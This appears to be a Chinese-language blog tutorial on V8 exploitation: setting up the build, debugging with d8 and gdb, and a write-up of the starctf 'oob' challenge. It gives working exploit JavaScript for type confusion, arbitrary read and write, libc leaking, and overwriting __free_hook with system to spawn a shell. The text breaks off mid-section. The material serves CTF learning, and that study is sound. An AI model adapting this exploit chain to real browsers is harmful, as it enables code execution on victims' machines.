浏览器漏洞利用基础

开始学习浏览器的漏洞调试和利用,主要参考了一篇非常经典的文章,记录自己学习的过程。

编译v8

首先是搭环境,主机win10,代理选择的是ssr,端口是1080,在设置中勾选“允许来自局域网的连接”,虚拟机是Ubuntu 16.04 64位,vmware网络连接设置为NAT模式。

设置代理

首先查看主机ip,我这里是i92.168.100.105,在虚拟机中ping一下主机,查看是否可以ping通。
然后设置git的代理,执行以下命令:

1
git config --global http.proxy http://192.168.100.105:1080

然后在环境变量中设置代理,执行以下命令,第三条命令用于重新加载~/.bashrc。

1
2
3
export http_proxy="http://192.168.100.105:1080"
export https_proxy=$http_proxy
bash

安装依赖

1
sudo apt-get install binutils python2.7 perl socat git build-essential gdb gdbserver

安装depot_tools

下载depot_tools,需要设置环境变量,/path/to/depot_tools是自己depot_tools的路径。

1
2
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc

安装ninja

1
2
3
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc

更新~/.bashrc:

1
bash

设置depot_tools代理

新建文件:

1
sudo vim /etc/gclient_boto.cfg

在该文件中添加如下内容,分别写你的ip和代理端口:

1
2
3
[Boto]
proxy = 192.168.100.105
proxy_port = 1080

然后修改该文件的权限:

1
chmod 777 /etc/gclient_boto.cfg

设置环境变量并更新~/.bashrc:

1
2
export NO_AUTH_BOTO_CONFIG=/etc/gclient_boto.cfg
bash

下载v8

1
2
3
4
mkdir v8
cd v8
fetch v8
gclient sync

编译v8

编译生成的文件是d8,debug版本在./out.gn/x64.debug/d8,release版本在./out.gn/x64.release/d8。

1
2
3
4
5
6
# debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
# release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

使用

allow-natives-syntax选项

加入这个选项可以在js中调用有助于调试的函数,主要是以下两个函数:

1
2
%DebugPrint(obj) 输出对象地址
%SystemBreak() 触发调试中断,在动态调试中会用到

allow-nativess-syntax使用如下,定义对象test,%DebugPrint输出了JavaScript对象test的内存结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@ubuntu:~/brower/v8/out.gn/x64.debug$ ./d8 --allow-natives-syntax
V8 version 8.2.0 (candidate)
d8> var test = [1,2,3];
undefined
d8> %DebugPrint(test)
DebugPrint: 0x69a080c5ac1: [JSArray]
- map: 0x069a082017f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x069a081c91c1 <JSArray[0]>
- elements: 0x069a081cffb9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x069a080406e9 <FixedArray[0]> {
#length: 0x069a08140165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x069a081cffb9 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
...
[1, 2, 3]
d8> %SystemBreak();
Trace/breakpoint trap (core dumped)

其他调试支持可以通过–help选项查看:

1
ubuntu@ubuntu:~/brower/v8/out.gn/x64.debug$ ./d8 --help

gdb调试

在./v8/tools目录下有一个gdb脚本,对脚本重命名,并添加到gdbint中:

1
2
ubuntu@ubuntu:~/brower/v8/tools$ mv gdbinit gdbinit_v8
ubuntu@ubuntu:~/brower/v8/tools$ gedit ~/.gdbinit

在gdbinit中添加如下内容:

1
source path/v8/tools/gdbinit_v8

gdb调试js脚本的命令如下,切换到debug或release目录下:

1
2
3
ubuntu@ubuntu:~/brower/v8/out.gn/x64.debug$ gdb ./d8
pwndbg> set args --allow-natives-syntax /home/ubuntu/brower/pwn/oob/test.js
pwndbg> r

job命令可以查看js对象的内存结构,telescope命令查看内存数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> job 0x1d41b614de61
0x1d41b614de61: [JSArray]
- map: 0x04d9adcc2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1c1a5c291111 <JSArray[0]>
- elements: 0x1d41b614de31 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x33ba69a80c71 <FixedArray[0]> {
#length: 0x048285a401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x1d41b614de31 <FixedDoubleArray[4]> {
0: 1
1: 2
2: 3
3: 1.1
}
pwndbg> telescope 0x1d41b614de60
00:0000│ 0x1d41b614de60 —▸ 0x4d9adcc2ed9 ◂— 0x4000033ba69a801
01:0008│ 0x1d41b614de68 —▸ 0x33ba69a80c71 ◂— 0x33ba69a808
02:0010│ 0x1d41b614de70 —▸ 0x1d41b614de31 ◂— 0x33ba69a814
03:0018│ 0x1d41b614de78 ◂— 0x400000000
04:0020│ 0x1d41b614de80 ◂— 0xdeadbeedbeadbeef
... ↓
pwndbg>

starctf oob

编译

切换到v8目录下,reset源码版本,然后添加diff,最后编译出release和debug版本:一定要有第三条命令。

1
2
3
4
5
6
7
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

查看diff文件,首先增加了成员函数oob:

1
2
+    SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false); //增加了成员函数oob

kArrayOob的具体实现如下,首先获取函数参数,如果参数个数大于2则返回;然后获取数组array的长度length,如果参数个数为1时,则返回array第length个元素的内容;如果参数个数为2时,则将第2个参数写入array的第length个元素中。因为C++成员函数的第一个参数是this指针,所以就是当函数参数为空时,返回array第length个元素的内容;当有1个参数时,则将该参数写入array的第length个元素中。可以看到这里其实有数组越界读写的漏洞,可以读写第length个元素的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){ //当参数为空时
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length))); //读取数组第length个元素的内容
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number()); //将第一个参数写入array的第length个元素中
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

调试

可以调用oob函数试一下:

1
2
3
4
5
6
7
8
9
ubuntu@ubuntu:~/brower/v8/out.gn/x64.release$ ./d8
V8 version 7.5.0 (candidate)
d8> var a = [1,2,3,4];
undefined
d8> a.oob()
2.28581149598387e-310
d8> a.oob(5)
undefined
d8>

利用gdb结合d8进行调试,编写的test.js脚本如下,参考了这篇文章

1
2
3
4
5
6
7
8
var a = [1,2,3,1.1];
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();

在调试中发现,debug版本在运行第4句时到会报错,首先遇到第一个断点,输出a的内存地址:
1
使用job命令查看内存结构,一共有4个元素:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pwndbg> job 0x244b35b0de61
0x244b35b0de61: [JSArray]
- map: 0x355507242ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1198bd391111 <JSArray[0]>
- elements: 0x244b35b0de31 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x29f600400c71 <FixedArray[0]> {
#length: 0x2dcb838001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x244b35b0de31 <FixedDoubleArray[4]> {
0: 1
1: 2
2: 3
3: 1.1
}
pwndbg> job 0x244b35b0de31
0x244b35b0de31: [FixedDoubleArray]
- map: 0x29f6004014f9 <Map>
- length: 4
0: 1
1: 2
2: 3
3: 1.1
pwndbg> telescope 0x244b35b0de30
00:0000│ 0x244b35b0de30 —▸ 0x29f6004014f9 ◂— 0x29f6004001
01:0008│ 0x244b35b0de38 ◂— 0x400000000
02:0010│ 0x244b35b0de40 ◂— 0x3ff0000000000000
03:0018│ 0x244b35b0de48 ◂— 0x4000000000000000
04:0020│ 0x244b35b0de50 ◂— 0x4008000000000000
05:0028│ 0x244b35b0de58 ◂— 0x3ff199999999999a
06:0030│ 0x244b35b0de60 —▸ 0x355507242ed9 ◂— 0x4000029f6004001
07:0038│ 0x244b35b0de68 —▸ 0x29f600400c71 ◂— 0x29f6004008
pwndbg> p {double} 0x244b35b0de40
$1 = 1
pwndbg> p {double} 0x244b35b0de48
$2 = 2
pwndbg> p {double} 0x244b35b0de50
$3 = 3
pwndbg> p {double} 0x244b35b0de58
$4 = 1.1000000000000001

继续运行时会报错,查看报错信息发现会对数组下标index做检查,检查其是否在[0,length)区间中:
2
所以调试利用只能使用release版本,但release版本不能使用job命令查看内存布局,只能使用telescope命令。
改用release版本调试test.js,首先遇到第一个断点输出a的内存地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x2216ee78de61 <JSArray[4]>
pwndbg> telescope 0x2216ee78de60
00:0000│ 0x2216ee78de60 —▸ 0x313b5f682ed9 ◂— 0x400000cc9583801
01:0008│ 0x2216ee78de68 —▸ 0xcc958380c71 ◂— 0xcc9583808
02:0010│ 0x2216ee78de70 —▸ 0x2216ee78de31 ◂— 0xcc9583814
03:0018│ 0x2216ee78de78 ◂— 0x400000000
04:0020│ 0x2216ee78de80 ◂— 0x0
... ↓
pwndbg> telescope 0x2216ee78de30 //elements
00:0000│ 0x2216ee78de30 —▸ 0xcc9583814f9 ◂— 0xcc9583801
01:0008│ 0x2216ee78de38 ◂— 0x400000000 //length
02:0010│ 0x2216ee78de40 ◂— 0x3ff0000000000000 //1
03:0018│ 0x2216ee78de48 ◂— 0x4000000000000000 //2
04:0020│ 0x2216ee78de50 ◂— 0x4008000000000000 //3
05:0028│ 0x2216ee78de58 ◂— 0x3ff199999999999a //1.1
06:0030│ 0x2216ee78de60 —▸ 0x313b5f682ed9 ◂— 0x400000cc9583801
07:0038│ 0x2216ee78de68 —▸ 0xcc958380c71 ◂— 0xcc9583808

继续执行,输出a的第length个元素的内容,其实它就是map的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> c
Continuing.
[*] oob return data:2.6744303786261e-310
pwndbg> telescope 0x2216ee78de30
00:0000│ 0x2216ee78de30 —▸ 0xcc9583814f9 ◂— 0xcc9583801
01:0008│ 0x2216ee78de38 ◂— 0x400000000
02:0010│ 0x2216ee78de40 ◂— 0x3ff0000000000000
03:0018│ 0x2216ee78de48 ◂— 0x4000000000000000
04:0020│ 0x2216ee78de50 ◂— 0x4008000000000000
05:0028│ 0x2216ee78de58 ◂— 0x3ff199999999999a
06:0030│ 0x2216ee78de60 —▸ 0x313b5f682ed9 ◂— 0x400000cc9583801 //map
07:0038│ 0x2216ee78de68 —▸ 0xcc958380c71 ◂— 0xcc9583808
pwndbg> p {double} 0x2216ee78de60
$2 = 2.6744303786261171e-310

继续执行,将a的第length个元素修改为2:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> telescope 0x2216ee78de30
00:0000│ 0x2216ee78de30 —▸ 0xcc9583814f9 ◂— 0xcc9583801
01:0008│ 0x2216ee78de38 ◂— 0x400000000
02:0010│ 0x2216ee78de40 ◂— 0x3ff0000000000000
03:0018│ 0x2216ee78de48 ◂— 0x4000000000000000
04:0020│ 0x2216ee78de50 ◂— 0x4008000000000000
05:0028│ 0x2216ee78de58 ◂— 0x3ff199999999999a
06:0030│ 0x2216ee78de60 ◂— 0x4000000000000000
07:0038│ 0x2216ee78de68 —▸ 0xcc958380c71 ◂— 0xcc9583808
pwndbg> p {double} 0x2216ee78de60
$3 = 2

查看数组a的内存布局,发现它的map被修改为2:

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x2216ee78de60
00:0000│ 0x2216ee78de60 ◂— 0x4000000000000000 //map
01:0008│ 0x2216ee78de68 —▸ 0xcc958380c71 ◂— 0xcc9583808 //prototype
02:0010│ 0x2216ee78de70 —▸ 0x2216ee78de31 ◂— 0xcc9583814 //elements
03:0018│ 0x2216ee78de78 ◂— 0x400000000 //length
04:0020│ 0x2216ee78de80 —▸ 0xcc958380561 ◂— 0x200000cc9583801
05:0028│ 0x2216ee78de88 —▸ 0x313b5f682ed9 ◂— 0x400000cc9583801
06:0030│ 0x2216ee78de90 —▸ 0xcc958381ea9 ◂— 0x400000cc9583801
07:0038│ 0x2216ee78de98 ◂— 0x2800000003

因此本漏洞可以利用1个元素的数组越界读取和修改数组对象array的对象类型map,造成数组array的类型混淆。

漏洞利用

一般pwn的漏洞利用是想办法泄露lib地址,然后将free_hook或malloc_hook修改为system函数或one_gadget,然后触发被覆写的函数拿到shell。

v8对象结构

v8会申请两块内存,一块存储元素内容,一块存储数组的结构,elements指向存储元素内容的地址,在map的上方低地址处。在array对象地址+0x10处存放着elements的地址,在elements地址+0x10处存放着元素的内容。

1
2
3
4
5
6
7
8
9
10
|------->map
| length
| elements[0]
| elements[1]
| elements[2]
| ......
| ------------------------------------------
| map:标识一个对象的类型
| prototype:
--------elements:指向元素的内存地址

任意地址读写

假如有两个类型的数组,一个是float_array,一个是obj_array,因为elements指向的元素地址在map的上方,因此可以利用越界读漏洞得到float_array和obj_array的map类型:

1
2
3
4
5
6
var obj = {"a":1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

利用数组越界写漏洞将obj_array的map类型修改为float_array,将需要泄露地址的对象存放在obj_array[0]中,这样再读取obj_array[0]时就可以泄露该对象的地址,从而进行任意地址读;
利用数组越界写漏洞将float_array的map对象类型修改为obj_array_map,将需要写入的对象的地址存放在float_array[0]中,这样访问float_array[0],将float作为object对象访问。
其中,f2i和i2f是浮点数与无符号整数的转换函数,因为在js中会以浮点数的形式进行存储,在地址泄露时需要将浮点数转换为无符号整数,在写入时需要转换为浮点数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//leak object address
function addressOf(obj_to_leak){
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map);
return obj_addr;
}

//addr to object
function fakeObject(addr_to_fake){
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map);
return faked_obj;
}

利用数组越界读写和map与elements的关系来进行任意地址读写,假如伪造一个fake_object,它一共有6个元素,elements长度为0x30+0x10=0x40:

1
2
3
4
5
6
7
8
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];

利用addressOf(fake_array)可以泄露数组对象的地址fake_array_addr,根据内存布局可以看出fake_array_addr-0x40是elements的起始地址,elements+0x10是元素的起始地址,也就是fake_array_map这个元素的地址fake_object_addr。再利用fakeObject函数将fake_object_addr的类型修改为object,我们就伪造了一个fake_object。

1
2
3
var fake_array_addr = addressOf(fake_array); //leak addr
var fake_object_addr = fake_array_addr - 0x40n + 0x10n; //float_array_map
var fake_object = fakeObject(fake_object_addr); //data to object

示意图如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
------------->  ---------------
| map
| ---------------
| length
| --------------- ---------------
| float_array_map -------------> fake map
| --------------- ---------------
| i2f(0x41414141n) -------------> fake prototype
| --------------- --------------- ---------------
| i2f(0x1000000000n) -------------> fake elements -----------------> map
| --------------- --------------- ---------------
| 1.1 length
| --------------- ---------------
| 2.2 elements[0]
| --------------- ---------------
| elements[1]
| ---------------
| ---------------
| map
| ---------------
| prototype
| ---------------
|-----------> elements
---------------

可以看到上图,fake_array[0]是伪造的fake map,fake_array[2]是伪造的fake elements的地址,指向fake_object,我们将要泄露的地址addr-0x10写入fake_array[2],
然后访问fake_object[0],也就是访问addr-0x10+0x10=addr,从而可以泄露数据,进行任意地址读。
任意地址写同样是将目标地址addr-0x10写入fake_array[2],fake_object指向addr处的数据,然后给fake_object[0]赋值进行任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
function read64(addr){
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
//console.log("[*] leak from: 0x"+ hex(addr) + ": 0x" + hex(leak_data))
return leak_data;
}

function write64(addr, data){
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to: 0x" + hex(addr) + ": 0x" + hex(data));
}

传统的pwn利用方式是先要泄露libc地址,可以利用任意地址读去泄露d8基址,然后读取某个函数的got表泄露libc函数地址,从而得到libc的地址。

随机泄露

申请一个js对象,在其地址上方查找,存在d8地址空间中的指令,比如利用如下代码先申请一个js对象:

1
2
3
4
5
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var start_addr = addressOf(a);
var leak_d8_addr = 0n;
%SystemBreak();

查看其低地址处的内存内容,看到有两个push rbp的指令,地址是0x55b0aaf0a570。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> telescope 0x18e53584f750-0x8000 0x500
00:0000│ 0x18e535847750 ◂— 0x100000000
01:0008│ 0x18e535847758 —▸ 0x1a33dc248159 ◂— 0x4a00001b6ea0c404
02:0010│ 0x18e535847760 ◂— 0xf828d400000000
03:0018│ 0x18e535847768 ◂— 0x100000000
04:0020│ 0x18e535847770 —▸ 0x1a33dc2481a9 ◂— 0x1a00001b6ea0c404
05:0028│ 0x18e535847778 ◂— 0x10022d400000000
06:0030│ 0x18e535847780 ◂— 0x100000000
07:0038│ 0x18e535847788 —▸ 0x1b6ea0c47a01 ◂— 0xa200001b6ea0c404
08:0040│ 0x18e535847790 ◂— 0x10860d400000000
...
4f9:27c8│ 0x18e535849f18 —▸ 0x55b0aaf0a570 ◂— push rbp
4fa:27d0│ 0x18e535849f20 —▸ 0x1b6ea0c40b71 ◂— 0x200001b6ea0c401
4fb:27d8│ 0x18e535849f28 —▸ 0x55b0aaf0a570 ◂— push rbp
4fc:27e0│ 0x18e535849f30 —▸ 0x308d348d89 ◂— 0x700001b6ea0c401
4fd:27e8│ 0x18e535849f38 —▸ 0x1b6ea0c42781 ◂— 0x1b6ea0c419
4fe:27f0│ 0x18e535849f40 —▸ 0x1b6ea0c40c71 ◂— 0x1b6ea0c408
4ff:27f8│ 0x18e535849f48 —▸ 0x24fff4a9d839 ◂— 0x71000000308d3443

查看内存布局,可以看到0x55b0aaf0a570在d8地址空间中。

1
2
3
4
5
6
7
    0x55b0aa570000     0x55b0aa805000 r--p   295000 0      /home/ubuntu/brower/v8/out.gn/x64.release/d8
0x55b0aa805000 0x55b0ab2cc000 r-xp ac7000 295000 /home/ubuntu/brower/v8/out.gn/x64.release/d8
0x55b0ab2cc000 0x55b0ab30c000 r--p 40000 d5c000 /home/ubuntu/brower/v8/out.gn/x64.release/d8
0x55b0ab30c000 0x55b0ab316000 rw-p a000 d9c000 /home/ubuntu/brower/v8/out.gn/x64.release/d8
0x55b0ab316000 0x55b0ab336000 rw-p 20000 0
pwndbg> x /gx 0x55b0aaf0a570
0x55b0aaf0a570 <_ZN2v812_GLOBAL__N_118WebAssemblyCompileERKNS_20FunctionCallbackInfoINS_5ValueEEE>: 0x56415741e5894855

因此可以首先泄露js对象的地址,然后不断向上读取,即使开了ASLR,它的低12位可以确定是570,比较其内容的低12位是否为570,如果符合则访问其内容是否是0x56415741e5894855,从而泄露d8地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//leak d8 instruction addr
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var start_addr = addressOf(a);
var leak_d8_addr = 0n;
%SystemBreak();

while(1)
{
start_addr -= 0x8n;
leak_d8_addr = read64(start_addr);
if((leak_d8_addr & 0xfffn) == 0x570n && read64(leak_d8_addr) == 0x56415741e5894855n)
{
console.log("[*] Success find leak_d8_addr: 0x" + hex(leak_d8_addr));
break;
}
}
d8_base_addr = leak_d8_addr - (0x55b0aaf0a570n - 0x55b0aa570000n);
console.log("[*] d8_base_addr: 0x" + hex(d8_base_addr));

成功泄露地址,然后就可以根据偏移计算d8的基址。
3
然后读取libc_start_main的got表项,得到其地址,从而泄露libc,再利用任意地址写将free_hook函数地址写入system函数地址:

1
2
3
4
5
6
7
8
9
var libc_start_main_got = d8_base_addr + 0xd99810n;
var libc_start_main = read64(libc_start_main_got);
var libc_base = libc_start_main - (0x00007fb6d2079740n - 0x7fb6d2059000n);
console.log("[*] lib_base: 0x" + hex(libc_base));
var system_addr = libc_base + 0x45390n;
var free_hook_addr = libc_base + 0x3c67a8n;
console.log("[*] system_addr: 0x" + hex(system_addr));
console.log("[*] free_hook_addr: 0x" + hex(free_hook_addr));
write64(free_hook_addr, system_addr);

触发内存访问异常,我们要写入的free_hook的地址是0x00007f25cdc537a8,但是程序将写入的地址改为了0x7f25cdc40000,也就是低17位都变为0,从而导致内存访问异常,这可能是因为我们写入时利用的是FloatArray对象的问题。
4
这篇文章里,作者修改了write64函数,利用DataView对象进行写入。

DataView对象

测试以下代码,看DataView对象是否可以进行低地址写入。

1
2
3
4
5
6
7
8
9
//create an ArrayBuuffer with a size in bytes
var buffer = new ArrayBuffer(16);

var view = new DataView(buffer);
view.setUint32(0, 0x44434241, true);

console.log(view.getUint8(0, true));
%DebugPrint(view);
%SystemBreak();

在x64.budeg版本上调试,输出DataView的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
DebugPrint: 0x20def49cde41: [JSDataView]
- map: 0x16a8ddfc1719 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x34dc48bcaff9 <Object map = 0x16a8ddfc1769>
- elements: 0x280e29b00c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- buffer =0x20def49cde01 <ArrayBuffer map = 0x16a8ddfc21b9> //buffer的地址
- byte_offset: 0
- byte_length: 16
- properties: 0x280e29b00c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
0x16a8ddfc1719: [Map]
- type: JS_DATA_VIEW_TYPE
- instance size: 64
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x280e29b004d1 <undefined>
- prototype_validity cell: 0x154f37300609 <Cell value= 1>
- instance descriptors (own) #0: 0x280e29b00259 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x34dc48bcaff9 <Object map = 0x16a8ddfc1769>
- constructor: 0x34dc48bcaf19 <JSFunction DataView (sfi = 0x154f37312679)>
- dependent code: 0x280e29b002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

查看buffer的结构,buffer结构中有一个backing_store属性,在偏移0x20处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> job 0x20def49cde01
0x20def49cde01: [JSArrayBuffer]
- map: 0x16a8ddfc21b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x34dc48bce981 <Object map = 0x16a8ddfc2209>
- elements: 0x280e29b00c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x56378855bf20 //here
- byte_length: 16
- detachable
- properties: 0x280e29b00c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}

backing_store属性实际存储的就是buffer数据的内存地址,js代码中将buffer的前4个字节写为0x44434241,查看buffer的内容可以看到的确是这样:

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x56378855bf20
00:0000│ 0x56378855bf20 ◂— 0x44434241 /* 'ABCD' */
01:0008│ 0x56378855bf28 ◂— 0x0
... ↓
03:0018│ 0x56378855bf38 ◂— 0x2611
04:0020│ 0x56378855bf40 —▸ 0x7f6bc3e34248 (main_arena+1832) —▸ 0x7f6bc3e34238 (main_arena+1816) —▸ 0x7f6bc3e34228 (main_arena+1800) ◂— 0x7f6bc3e34218
... ↓
06:0030│ 0x56378855bf50 —▸ 0x56378855bf30 ◂— 0x0
... ↓

因此可以修改write64函数,首先创建一个dataview对象,泄露buffer的地址,buffer+0x20就是backing_store的地址,将目标地址addr写入backing_store,然后对dataview对象进行写操作,从而达到任意地址写的目的。

1
2
3
4
5
6
7
8
9
10
11
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

function write64_dataview(addr, data)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
%SystemBreak();
console.log("[*]write to : 0x" + hex(addr) + ": 0x" + hex(data))
}

测试利用write64_dataview函数是否可以将system函数写入free_hook函数的地址处,成功写入,这里在write64_dataview函数里下断点是因为如果在调用完write64_dataview再下断点,v8内部的free操作会触发free_hook,从而触发system函数。
5
触发shell可以自己申请一块内存,然后写入参数”/bin/sh”,在v8回收这块内存时执行free操作,从而触发shell:

1
2
3
4
5
6
function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); //"/bin/sh"
}

稳定泄露

另外,还有一种稳定泄露的方法,在x64.debug中测试以下js代码:

1
2
3
var test_array = [1.1];
%DebugPrint(test_array);
%SystemBreak();

程序输出test_array数组对象的内存结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
DebugPrint: 0x285ba204ddb1: [JSArray]
- map: 0x274f16b02ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] //map
- prototype: 0x3ee4b7c51111 <JSArray[0]>
- elements: 0x285ba204dd99 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x1a533df80c71 <FixedArray[0]> {
#length: 0x2eaf796801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x285ba204dd99 <FixedDoubleArray[1]> {
0: 1.1
}
0x274f16b02ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x274f16b02e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2eaf79680609 <Cell value= 1>
- instance descriptors #1: 0x3ee4b7c51f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x3ee4b7c51eb9 <TransitionArray[4]>Transition array #1:
0x1a533df84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x274f16b02f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x3ee4b7c51111 <JSArray[0]>
- constructor: 0x3ee4b7c50ec1 <JSFunction Array (sfi = 0x2eaf7968aca1)>
- dependent code: 0x1a533df802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

查看test_array的map类型,对于test_array的偏移为0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> job 0x274f16b02ed9
0x274f16b02ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x274f16b02e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2eaf79680609 <Cell value= 1>
- instance descriptors #1: 0x3ee4b7c51f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x3ee4b7c51eb9 <TransitionArray[4]>Transition array #1:
0x1a533df84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x274f16b02f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x3ee4b7c51111 <JSArray[0]>
- constructor: 0x3ee4b7c50ec1 <JSFunction Array (sfi = 0x2eaf7968aca1)> //有一个constructor
- dependent code: 0x1a533df802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

查看constructor构造的内存结构,这个我没有找到它相对于map的偏移,但是我先找到transitions相对于map的偏移为0x28,然后再加上0xff8就是constructor的内存地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> job 0x3ee4b7c50ec1
0x3ee4b7c50ec1: [Function] in OldSpace
- map: 0x274f16b02d49 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3ee4b7c42109 <JSFunction (sfi = 0x2eaf79688039)>
- elements: 0x1a533df80c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: 0x3ee4b7c51111 <JSArray[0]>
- initial_map: 0x274f16b02d99 <Map(PACKED_SMI_ELEMENTS)>
- shared_info: 0x2eaf7968aca1 <SharedFunctionInfo Array>
- name: 0x1a533df83599 <String[#5]: Array>
- builtin: ArrayConstructor
- formal_parameter_count: 65535
- kind: NormalFunction
